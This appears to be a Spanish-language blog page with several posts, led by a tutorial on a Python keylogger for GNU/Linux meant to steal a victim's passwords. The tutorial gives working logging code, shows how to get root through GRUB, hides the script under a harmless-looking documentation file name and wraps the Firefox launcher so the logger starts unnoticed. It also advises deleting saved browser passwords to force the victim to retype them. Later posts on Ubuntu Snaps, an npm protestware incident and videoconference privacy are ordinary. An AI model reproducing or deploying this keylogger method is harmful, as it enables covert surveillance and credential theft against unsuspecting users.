Registrador de teclas (keylogger) en Python para GNU/Linux. Enviar información por correo y autodestruirse

En este artículo enseño como programar un keylogger avanzado que envía mensajes por correo electrónico y se autodestruye después de una fecha concreta.

Continúa leyendo Registrador de teclas (keylogger) en Python para GNU/Linux. Enviar información por correo y autodestruirse

Registrador de teclas (keylogger) básico para GNU/Linux. Robar contraseñas e información tecleada

Una forma sencilla de robar contraseñas es instalar un registrador de teclas (keylogger) en el ordenador de la víctima. Voy a mostrar cómo hacerlo en GNU/Linux usando el lenguaje de programación Python.

Lo primero que debemos hacer es obtener permisos de superusuario. Si el equipo lo administramos nosotros, ya sabemos la contraseña. En caso contrario, podemos obtener acceso como superusuario desde GRUB. Con los permisos necesarios tenemos vía libre para instalar el keylogger.

En primer lugar, hay que instalar el módulo pynput mediante...

sudo pip install pynput

A continuación, debemos escribir el keylogger. Este es el código que usaremos:

#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
import logging

log_dir = "/usr/share/doc/python3/"

logging.basicConfig(filename=(log_dir + "log"), \
        level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

El registro de teclas se guarda en log_dir. Yo, en este caso, he especificado la carpeta de documentación de Python 3 en GNU/Linux. El keylogger también podemos guardarlo en ese mismo directorio, quizá con el nombre compile_docs.py o algo parecido para no llamar la atención. Lo ideal es elegir una carpeta a la que la victima no vaya a entrar para evitar que se dé cuenta de lo que estamos haciendo.

El último paso sería ejecutar el programa cada vez que se encienda el ordenador o se inicie un programa sin que la víctima se dé cuenta. Si, por ejemplo, queremos iniciar el keylogger cada vez que el usuario abra Firefox, podemos modificar el comando Firefox. Podemos renombrar firefox1 a firefox.bin y crear el siguiente archivo llamado firefox.

python3 /usr/share/doc/python3/compile_docs.py &
exec firefox.bin "@$"

Para saber qué archivo firefox se ejecuta cuando pulsamos su icono debemos ir a /usr/share/applications, entrar al archivo firefox.desktop (o firefox-esr.desktop) y buscar la línea que empieza por Exec.

A continuación, habría que darle permisos de escritura para otros usuarios distintos de root al directorio donde vamos a almacenar el registro de tecleo:

sudo chmod o+w /usr/share/doc/python3

Finalmente, deberíamos esperar a que la víctima usara el ordenador para obtener sus contraseñas o cualquier información que teclee que queramos obtener. El registro de teclas se guardará en el archivo /usr/share/doc/python3/log. Pero ten cuidado: el archivo puede ocupar mucho espacio si no lo borras periódicamente, por lo que lo mejor sería desinstalar el keylogger después de obtener la información que necesitemos. Otra opción es configurarlo para que mande la información de tecleo por correo electrónico en vez de guardarla en un archivo, con lo que no ocuparía mucho espacio el ordenador de la víctima; pero ese método requiere que usemos un correo electrónico2.

Si la víctima tiene las contraseñas guardadas en el navegador y no necesita escribirlas de nuevo, podemos borrarle el archivo de contraseñas para que se vea obligada a introducirlas de nuevo. En definitiva, con ingenio podemos conseguir mucha información, especialmente si aplicamos este método contra usuarios poco avanzados, que no sospecharán mucho. Para usuarios más avanzados quizá lo mejor sería compilar el programa compile_docs.py con Nuitka, como muestro en el siguiente artículo.


  1. En Debian tendríamos que modificar el archivo firefox-esr

  2. La ventaja de enviar las contraseñas por correo electrónico es que no necesitamos volver al ordenador de la víctima para abrir el archivo de registro de tecleo, sino que recibiremos la información periódicamente por correo. 

Snaps en Ubuntu: menos seguridad y actualizaciones automáticas

Con su nueva versión 22.04, que será publicada el 21 de abril, Ubuntu hará que más programas usen paquetes Snap en vez de los .deb. Estos paquetes se actualizan de forma automática sin pasar por una fase de prueba como sucede con los paquetes de Debian y otras distribuciones. En el caso del paquete de Firefox, es el equipo de Mozilla (no Ubuntu) quien decide cómo y cuándo se actualiza el navegador.

Firefox es software libre, pero incluye componentes privativos como Pocket. Mozilla puede mediante Snap añadir otros componentes parecidos y funcionalidades desagradables.

Los Snaps tienen algunas ventajas: permiten empaquetar un programa con todas sus dependencias, funcionan en cualquier distribución, etc. Sin embargo, ralentizan el proceso de arranque, son mucho más lentos cuando se ejecutan por primera vez, ocupan más espacio (pues contienen en ellos bibliotecas que podrían usarse por varios programas), su repositorio predeterminado («tienda») es privativo, requiere el uso de systemd, etc.

Si el uso de los Snaps fuera opcional en Ubuntu, no habría tanta controversia, pero Ubuntu los ha impuesto para varios paquetes, para los que ya no existe una alternativa .deb.

Otro ataque a la cadena de suministro en npm: EventSource polyfill

Por si npm no había demostrado ser un gestor de paquetes inseguro —recientemente con el malware de node-ipc—, otra biblioteca muy utilizada, descargada más de 600 000 veces por semana con npm, llamada EventSource polyfill ha añadido mensajes propagandísticos escritos en ruso a favor del régimen de Ucrania dirigidos a quienes tienen su zona horaria configurada como una región de Rusia, llegando a abrir una ventana en el navegador con la URL de una recogida de firmas contra la guerra.

Muestra mensajes falsos como «El 91 % de los ucranianos apoya plenamente a su presidente Volodímir Zelenski», cuando la participación política en las elecciones de 2019 fue del 49,84 % y el partido de este político consiguió en total 6 307 793 votos (un 43,16 %). También recomienda acceder al periódico de la BBC (un periódico estatal británico) mediante Tor (pues está censurado en Rusia) como fuente de información fiable.

¡Cuidado con los directos! No descuides tu privacidad

Con el aumento de las comunicaciones en directo probablemente tu escritorio ya no es tan privado como antes —tanto el físico como el digital—. Un riesgo que demasiada gente subestima.

Si nos ponemos en la piel de un superior, a este quizá no le haga mucha gracia ver que el ordenador del trabajo se usa para videojuegos, pornografía o cualquier otra cosa que considere inapropiada; o ver en las sugerencias de la barra de direcciones del navegador sitios web que contienen ideas políticas contrarias a las suyas, por ejemplo.

Lo ideal sería utilizar el ordenador de la empresa únicamente para cosas de la empresa. Si este ordenador es el mismo que el de uso personal o se comparte con alguien, se debe utilizar una cuenta de usuario específica para la empresa, de forma que al compartir el escritorio no se vean nuestros archivos, los programas que usamos en nuestro tiempo libre, nuestro historial de navegación, etc.

Porque aunque solo pensábamos mostrar la presentación de diapositivas, acabamos exponiendo información sin darnos cuenta cuando algo falla y salimos de la presentación. Hombre precavido vale por dos: aunque algo falle, no comprometo mi privacidad cuando uso una cuenta de usuario específica para el trabajo.

Ni que decir tiene que el escritorio físico y lo que nos rodea mientras nos encontramos en una videoconferencia es otro factor de riesgo. Además, las personas con las que convivimos pueden comprometer nuestra privacidad. Habrá que encontrar, pues, los horarios con menos gente en casa, elegir con cuidado el lugar teniendo en cuenta lo que la cámara puede ver y mantener la comunicación digital en el lugar menos ruidoso.

En resumen, las comunicaciones digitales por videoconferencia suponen numerosos riesgos para la privacidad que deben ser tenidos en cuenta. Es primordial conocer los peligros que entrañan para poder evitarlos, incluso cuando surjan imprevistos.